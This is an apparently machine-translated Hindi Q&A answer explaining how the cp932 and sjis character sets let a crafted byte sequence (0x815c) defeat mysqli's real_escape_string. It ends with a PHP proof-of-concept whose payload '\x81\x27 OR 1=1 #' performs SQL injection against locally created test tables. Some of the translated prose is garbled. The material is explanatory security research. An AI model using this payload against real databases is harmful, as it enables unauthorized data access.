शैतान विवरण में है ... आइए शुरू करते हैं कि कैसे प्रश्न में उत्तर दें कमजोर वर्ण सेट की सूची का वर्णन करता है:
यह हमें कुछ संदर्भ देता है - 0xbf5c
gbk
. के लिए एक उदाहरण के रूप में प्रयोग किया जाता है , सभी 5 वर्ण सेटों के लिए उपयोग करने के लिए सार्वभौमिक वर्ण के रूप में नहीं।
ऐसा ही होता है कि वही बाइट अनुक्रम big5
के अंतर्गत एक मान्य वर्ण भी है। और gb2312
।
इस बिंदु पर, आपका प्रश्न इतना आसान हो जाता है:
निष्पक्ष होने के लिए, इन वर्ण सेटों के लिए मैंने जिन Google खोजों की कोशिश की, उनमें से अधिकांश उपयोगी परिणाम नहीं देती हैं। लेकिन मुझे यह CP932.TXT फ़ाइल
मिली। जिसमें अगर आप '5c '
. सर्च करते हैं तो (वहां जगह के साथ), आप इस लाइन पर जाएँगे:
और हमारे पास एक विजेता है! :)पी>
कुछ Oracle दस्तावेज़
पुष्टि करता है कि 0x815c
cp932
. दोनों के लिए एक ही वर्ण है और sjis
और PHP भी इसे पहचानता है:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)
यहाँ हमले के लिए एक PoC स्क्रिप्ट है:
<?php
$username = 'username';
$password = 'password';
$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
$mysqli->query("SET NAMES {$charset}");
$mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
$mysqli->query("USE {$charset}_db");
$mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
$mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");
$input = "\x81\x27 OR 1=1 #";
$input = $mysqli->real_escape_string($input);
$query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
$result = $mysqli->query($query);
if ($result->num_rows > 1)
{
echo "{$charset} exploit successful!\n";
}
$mysqli->query("DROP DATABASE {$charset}_db");
}